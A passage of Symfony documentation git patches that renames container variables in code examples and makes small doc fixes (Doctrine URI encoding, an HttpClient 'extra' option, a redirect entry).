-  objects/strings/*etc.* by ellipses;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\CutArrayStub` to keep only some
-  useful keys of an array;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ImgStub` to wrap an image;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\EnumStub` to wrap a set of virtual
-  values (*i.e.* values that do not exist as properties in the original PHP data
-  structure, but are worth listing alongside with real ones);
-* :class:`Symfony\\Component\\VarDumper\\Caster\\LinkStub` to wrap strings that can
-  be turned into links by dumpers;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\TraceStub` and their
-* :class:`Symfony\\Component\\VarDumper\\Caster\\FrameStub` and
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ArgsStub` relatives to wrap PHP
-  traces (used by :class:`Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster`).
-
-For example, if you know that your ``Product`` objects have a ``brochure`` property
-that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell
-``HtmlDumper`` to make them clickable::
-
-    use Symfony\Component\VarDumper\Caster\LinkStub;
-    use Symfony\Component\VarDumper\Cloner\Stub;
-
-    function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0)
-    {
-        $array['brochure'] = new LinkStub($array['brochure']);
-
-        return $array;
-    }

From ff9ce3da247646760f74b07401dd8f1f5fc51811 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 16:48:58 +0100
Subject: [PATCH 2706/5766] Standardize the name of the container configurator
 variable 6.2

---
 configuration/env_var_processors.rst | 4 ++--
 security/user_checkers.rst           | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 658a05163df..c515c9f60c5 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -423,8 +423,8 @@ Symfony provides the following env var processors:
             // config/services.php
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
-            return static function (ContainerConfigurator $configurator): void {
-                $container = $configurator->services()
+            return static function (ContainerConfigurator $containerConfigurator): void {
+                $container = $containerConfigurator->services()
                     ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
             };
 
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 3c13a57e239..4fd55a23631 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -183,8 +183,8 @@ order in which user checkers are called::
         use App\Security\AccountEnabledUserChecker;
         use App\Security\APIAccessAllowedUserChecker;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AccountEnabledUserChecker::class)
                 ->tag('security.user_checker.api', ['priority' => 10])

From f93dc8ef25562ee6bec95d06d454178f4a9a2368 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Sat, 7 Jan 2023 10:21:43 -0500
Subject: [PATCH 2707/5766] Include % as a Special Character in URIs

Docs for Doctrine customization should explain that a `%` char is special in urlencoded string input.
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 04cbe6710ca..88b5237e6e1 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -61,7 +61,7 @@ The database connection information is stored as an environment variable called
 .. caution::
 
     If the username, password, host or database name contain any character considered
-    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``),
+    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
     you must encode them. See `RFC 3986`_ for the full list of reserved characters or
     use the :phpfunction:`urlencode` function to encode them. In this case you need to
     remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:

From 745f9dbef5e5c299f7db0a21b621c0efcab16fd8 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 17:09:39 +0100
Subject: [PATCH 2708/5766] Standardize the name of the container builder
 variable 5.4

---
 bundles/configuration.rst                     | 12 +++++-----
 bundles/extension.rst                         |  8 +++----
 bundles/prepend_extension.rst                 | 14 +++++------
 cache.rst                                     |  4 ++--
 .../dependency_injection/compilation.rst      | 24 +++++++++----------
 configuration/env_var_processors.rst          | 20 ++++++++--------
 configuration/using_parameters_in_dic.rst     |  4 ++--
 event_dispatcher.rst                          |  4 ++--
 security.rst                                  |  4 ++--
 security/access_control.rst                   |  4 ++--
 service_container/compiler_passes.rst         | 16 ++++++-------
 .../service_subscribers_locators.rst          |  6 ++---
 service_container/tags.rst                    | 22 ++++++++---------
 13 files changed, 71 insertions(+), 71 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 2f6919a7347..c49e53e9987 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -221,7 +221,7 @@ force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
     // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
 
@@ -263,15 +263,15 @@ In your extension, you can load this and dynamically set its arguments::
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
-        $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config'));
+        $loader = new XmlFileLoader($containerBuilder, new FileLocator(dirname(__DIR__).'/Resources/config'));
         $loader->load('services.xml');
 
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $container->getDefinition('acme.social.twitter_client');
+        $definition = $containerBuilder->getDefinition('acme.social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }
@@ -292,7 +292,7 @@ In your extension, you can load this and dynamically set its arguments::
         class AcmeHelloExtension extends ConfigurableExtension
         {
             // note that this method is called loadInternal and not load
-            protected function loadInternal(array $mergedConfig, ContainerBuilder $container)
+            protected function loadInternal(array $mergedConfig, ContainerBuilder $containerBuilder)
             {
                 // ...
             }
@@ -308,7 +308,7 @@ In your extension, you can load this and dynamically set its arguments::
     (e.g. by overriding configurations and using :phpfunction:`isset` to check
     for the existence of a value). Be aware that it'll be very hard to support XML::
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $containerBuilder)
         {
             $config = [];
             // let resources override the previous set value
diff --git a/bundles/extension.rst b/bundles/extension.rst
index edbcb5cd270..eadd0ab864a 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -38,7 +38,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $containerBuilder)
         {
             // ... you'll load the files here later
         }
@@ -93,10 +93,10 @@ For instance, assume you have a file called ``services.xml`` in the
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
     // ...
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $loader = new XmlFileLoader(
-            $container,
+            $containerBuilder,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -119,7 +119,7 @@ they are compiled when generating the application cache to improve the overall
 performance. Define the list of annotated classes to compile in the
 ``addAnnotatedClassesToCompile()`` method::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         // ...
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 9478f045f46..53f0fed9da9 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -35,7 +35,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $containerBuilder)
         {
             // ...
         }
@@ -56,15 +56,15 @@ a configuration setting in multiple bundles as well as disable a flag in multipl
 in case a specific other bundle is not registered::
 
     // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
-    public function prepend(ContainerBuilder $container)
+    public function prepend(ContainerBuilder $containerBuilder)
     {
         // get all bundles
-        $bundles = $container->getParameter('kernel.bundles');
+        $bundles = $containerBuilder->getParameter('kernel.bundles');
         // determine if AcmeGoodbyeBundle is registered
         if (!isset($bundles['AcmeGoodbyeBundle'])) {
             // disable AcmeGoodbyeBundle in bundles
             $config = ['use_acme_goodbye' => false];
-            foreach ($container->getExtensions() as $name => $extension) {
+            foreach ($containerBuilder->getExtensions() as $name => $extension) {
                 switch ($name) {
                     case 'acme_something':
                     case 'acme_other':
@@ -74,21 +74,21 @@ in case a specific other bundle is not registered::
                         // note that if the user manually configured
                         // use_acme_goodbye to true in config/services.yaml
                         // then the setting would in the end be true and not false
-                        $container->prependExtensionConfig($name, $config);
+                        $containerBuilder->prependExtensionConfig($name, $config);
                         break;
                 }
             }
         }
 
         // get the configuration of AcmeHelloExtension (it's a list of configuration)
-        $configs = $container->getExtensionConfig($this->getAlias());
+        $configs = $containerBuilder->getExtensionConfig($this->getAlias());
 
         // iterate in reverse to preserve the original order after prepending the config
         foreach (array_reverse($configs) as $config) {
             // check if entity_manager_name is set in the "acme_hello" configuration
             if (isset($config['entity_manager_name'])) {
                 // prepend the acme_something settings with the entity_manager_name
-                $container->prependExtensionConfig('acme_something', [
+                $containerBuilder->prependExtensionConfig('acme_something', [
                     'entity_manager_name' => $config['entity_manager_name'],
                 ]);
             }
diff --git a/cache.rst b/cache.rst
index 1676fc0773c..e9ff5d41de2 100644
--- a/cache.rst
+++ b/cache.rst
@@ -468,14 +468,14 @@ and use that when configuring the pool.
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
             $framework->cache()
                 ->pool('cache.my_redis')
                     ->adapters(['cache.adapter.redis'])
                     ->provider('app.my_custom_redis_provider');
 
 
-            $container->register('app.my_custom_redis_provider', \Redis::class)
+            $containerBuilder->register('app.my_custom_redis_provider', \Redis::class)
                 ->setFactory([RedisAdapter::class, 'createConnection'])
                 ->addArgument('redis://localhost')
                 ->addArgument([
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 4d8fb3e54e3..2d471177c58 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -64,10 +64,10 @@ A very simple extension may just load configuration files into the container::
 
     class AcmeDemoExtension implements ExtensionInterface
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $containerBuilder)
         {
             $loader = new XmlFileLoader(
-                $container,
+                $containerBuilder,
                 new FileLocator(__DIR__.'/../Resources/config')
             );
             $loader->load('services.xml');
@@ -135,7 +135,7 @@ are loaded::
 The values from those sections of the config files are passed into the first
 argument of the ``load()`` method of the extension::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $foo = $configs[0]['foo']; //fooValue
         $bar = $configs[0]['bar']; //barValue
@@ -161,7 +161,7 @@ you could access the config value this way::
     use Symfony\Component\Config\Definition\Processor;
     // ...
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -222,13 +222,13 @@ The processed config value can now be added as container parameters as if
 it were listed in a ``parameters`` section of the config file but with the
 additional benefit of merging multiple files and validation of the configuration::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
-        $container->setParameter('acme_demo.FOO', $config['foo']);
+        $containerBuilder->setParameter('acme_demo.FOO', $config['foo']);
 
         // ...
     }
@@ -237,14 +237,14 @@ More complex configuration requirements can be catered for in the Extension
 classes. For example, you may choose to load a main service configuration
 file but also load a secondary one only if a certain parameter is set::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
         $loader = new XmlFileLoader(
-            $container,
+            $containerBuilder,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -295,11 +295,11 @@ method is called by implementing
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $containerBuilder)
         {
             // ...
 
-            $container->prependExtensionConfig($name, $config);
+            $containerBuilder->prependExtensionConfig($name, $config);
 
             // ...
         }
@@ -326,7 +326,7 @@ compilation::
 
     class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $containerBuilder)
         {
             // ... do something during the compilation
         }
@@ -380,7 +380,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $containerBuilder)
         {
             // ... do something during the compilation
         }
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 4d2615fc3b6..2739433d9a9 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -107,8 +107,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(SECRET)', 'some_secret');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(SECRET)', 'some_secret');
                 $framework->secret(env('SECRET')->string());
             };
 
@@ -153,8 +153,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
                 $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
             };
 
@@ -245,8 +245,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\SecurityConfig;
 
-            return static function (ContainerBuilder $container, SecurityConfig $security) {
-                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+            return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
+                $containerBuilder->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
                     ->methods([env('HEALTH_CHECK_METHOD')->const()]);
@@ -296,8 +296,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
             };
 
@@ -385,8 +385,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 6bdf07ff886..1cc51dcfd9f 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -138,9 +138,9 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $container)
+        public function getConfiguration(array $config, ContainerBuilder $containerBuilder)
         {
-            return new Configuration($container->getParameter('kernel.debug'));
+            return new Configuration($containerBuilder->getParameter('kernel.debug'));
         }
     }
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index f10a93bc90f..9fa30f9ab74 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -343,9 +343,9 @@ compiler pass ``AddEventAliasesPass``::
 
     class Kernel extends BaseKernel
     {
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $containerBuilder)
         {
-            $container->addCompilerPass(new AddEventAliasesPass([
+            $containerBuilder->addCompilerPass(new AddEventAliasesPass([
                 MyCustomEvent::class => 'my_custom_event',
             ]));
         }
diff --git a/security.rst b/security.rst
index 13743996749..924bbecd58e 100644
--- a/security.rst
+++ b/security.rst
@@ -1586,7 +1586,7 @@ and set the ``limiter`` option to its service ID:
         use Symfony\Config\FrameworkConfig;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework, SecurityConfig $security) {
             $framework->rateLimiter()
                 ->limiter('username_ip_login')
                     ->policy('token_bucket')
@@ -1602,7 +1602,7 @@ and set the ``limiter`` option to its service ID:
                     ->interval('15 minutes')
             ;
 
-            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+            $containerBuilder->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
                 ->setArguments([
                     // 1st argument is the limiter for IP
                     new Reference('limiter.ip_login'),
diff --git a/security/access_control.rst b/security/access_control.rst
index df9536fef2c..948825e64fd 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -91,8 +91,8 @@ Take the following ``access_control`` entries as an example:
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, SecurityConfig $security) {
-            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
+        return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
+            $containerBuilder->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
 
             $security->accessControl()
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index d0e55c1f51e..462c5942824 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -26,9 +26,9 @@ Compiler passes are registered in the ``build()`` method of the application kern
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function build(ContainerBuilder $containerBuilder): void
         {
-            $container->addCompilerPass(new CustomPass());
+            $containerBuilder->addCompilerPass(new CustomPass());
         }
     }
 
@@ -54,14 +54,14 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $containerBuilder): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
-            $container->getDefinition('app.some_private_service')->setPublic(true);
+            $containerBuilder->getDefinition('app.some_private_service')->setPublic(true);
 
             // or processing tagged services:
-            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+            foreach ($containerBuilder->findTaggedServiceIds('some_tag') as $id => $tags) {
                 // ...
             }
         }
@@ -83,11 +83,11 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $container): void
+        public function build(ContainerBuilder $containerBuilder): void
         {
-            parent::build($container);
+            parent::build($containerBuilder);
 
-            $container->addCompilerPass(new CustomPass());
+            $containerBuilder->addCompilerPass(new CustomPass());
         }
     }
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 19c4ec8862c..3785975549e 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -490,7 +490,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $container): void
+    public function process(ContainerBuilder $containerBuilder): void
     {
         // ...
 
@@ -499,9 +499,9 @@ will share identical locators among all the services referencing them::
             'logger' => new Reference('logger'),
         ];
 
-        $myService = $container->findDefinition(MyService::class);
+        $myService = $containerBuilder->findDefinition(MyService::class);
 
-        $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));
+        $myService->addArgument(ServiceLocatorTagPass::register($containerBuilder, $locateableServices));
     }
 
 Indexing the Collection of Services
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 2874fb103f2..9de74dc922c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -128,9 +128,9 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function build(ContainerBuilder $containerBuilder): void
         {
-            $container->registerForAutoconfiguration(CustomInterface::class)
+            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -144,9 +144,9 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $container): void
+        public function load(array $configs, ContainerBuilder $containerBuilder): void
         {
-            $container->registerForAutoconfiguration(CustomInterface::class)
+            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -307,17 +307,17 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $containerBuilder): void
         {
             // always first check if the primary service is defined
-            if (!$container->has(TransportChain::class)) {
+            if (!$containerBuilder->has(TransportChain::class)) {
                 return;
             }
 
-            $definition = $container->findDefinition(TransportChain::class);
+            $definition = $containerBuilder->findDefinition(TransportChain::class);
 
             // find all service IDs with the app.mail_transport tag
-            $taggedServices = $container->findTaggedServiceIds('app.mail_transport');
+            $taggedServices = $containerBuilder->findTaggedServiceIds('app.mail_transport');
 
             foreach ($taggedServices as $id => $tags) {
                 // add the transport service to the TransportChain service
@@ -344,9 +344,9 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function build(ContainerBuilder $containerBuilder): void
         {
-            $container->addCompilerPass(new MailTransportPass());
+            $containerBuilder->addCompilerPass(new MailTransportPass());
         }
     }
 
@@ -482,7 +482,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $containerBuilder): void
         {
             // ...
 

From 68065431184f16a530a45bbf13db4586a4bd4a2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 7 Jan 2023 17:23:18 +0100
Subject: [PATCH 2709/5766] Add redirection for removed article

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 9175f68d5e3..315b95fda93 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -536,3 +536,4 @@
 /components/security/firewall /security#the-firewall
 /components/security/secure_tools /security/passwords
 /components/security /security
+/components/var_dumper/advanced /components/var_dumper

From bfa6910707210c52ee448716f1e2b71cdda11d33 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 19:20:51 +0100
Subject: [PATCH 2710/5766] Standardize the name of the container builder
 variable 6.1

---
 bundles/configuration.rst            | 2 +-
 bundles/extension.rst                | 2 +-
 bundles/prepend_extension.rst        | 4 ++--
 configuration/micro_kernel_trait.rst | 8 ++++----
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 35379d6d0d9..738c2affefb 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -352,7 +352,7 @@ add this logic to the bundle class directly::
             ;
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // Contrary to the Extension class, the "$config" variable is already merged
             // and processed. You can use it directly to configure the service container.
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 474de1dd3b2..9e5da5632be 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -131,7 +131,7 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // load an XML, PHP or Yaml file
             $containerConfigurator->import('../config/services.xml');
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 52bf9d0e5f2..bc3c8342b58 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -173,10 +173,10 @@ method::
 
     class FooBundle extends AbstractBundle
     {
-        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // prepend
-            $builder->prependExtensionConfig('framework', [
+            $containerBuilder->prependExtensionConfig('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index c7755790764..fca778f2e6a 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -247,9 +247,9 @@ Now it looks like this::
             return $bundles;
         }
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $containerBuilder)
         {
-            $container->registerExtension(new AppExtension());
+            $containerBuilder->registerExtension(new AppExtension());
         }
 
         protected function configureContainer(ContainerConfigurator $containerConfigurator): void
@@ -325,10 +325,10 @@ add a service conditionally based on the ``foo`` value::
                 ->end();
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             if ($config['foo']) {
-                $builder->register('foo_service', \stdClass::class);
+                $containerBuilder->register('foo_service', \stdClass::class);
             }
         }
     }

From 856e6f08debe412bfb254b2cf19bb49bc83ae056 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 7 Jan 2023 19:14:51 +0100
Subject: [PATCH 2711/5766] [FrameworkBundle] Add extra attribute for
 HttpClient Configuration

---
 http_client.rst                       |  3 ++-
 reference/configuration/framework.rst | 12 ++++++++++++
 2 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index f7715ce2a1d..b2e121e077e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -143,7 +143,8 @@ method to retrieve a new instance of the client with new default options::
 
     $this->client = $client->withOptions([
         'base_uri' => 'https://...',
-        'headers' => ['header-name' => 'header-value']
+        'headers' => ['header-name' => 'header-value'],
+        'extra' => ['my-key' => 'my-value'],
     ]);
 
 Some options are described in this guide:
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 754ca8d9f89..0122f445572 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1031,6 +1031,18 @@ enabled
 Whether to enable the support for retry failed HTTP request or not.
 This setting is automatically set to true when one of the child settings is configured.
 
+extra
+.....
+
+**type**: ``array``
+
+Arbitrary additional data to pass to the HTTP client for further use.
+This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
+
+.. versionadded:: 6.3
+
+    The ``extra`` option has been introduced in Symfony 6.3.
+
 .. _http-headers:
 
 headers

From 1fdd76780f4d01011aa7fe82ebaa2f75fe736f55 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 8 Jan 2023 12:48:37 +0100
Subject: [PATCH 2712/5766] Update caution resolve doctrine example

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 88b5237e6e1..4b205fe73c4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -65,7 +65,7 @@ The database connection information is stored as an environment variable called
     you must encode them. See `RFC 3986`_ for the full list of reserved characters or
     use the :phpfunction:`urlencode` function to encode them. In this case you need to
     remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:
-    ``url: '%env(resolve:DATABASE_URL)%'``
+    ``url: '%env(DATABASE_URL)%'``
 
 Now that your connection parameters are setup, Doctrine can create the ``db_name``
 database for you:

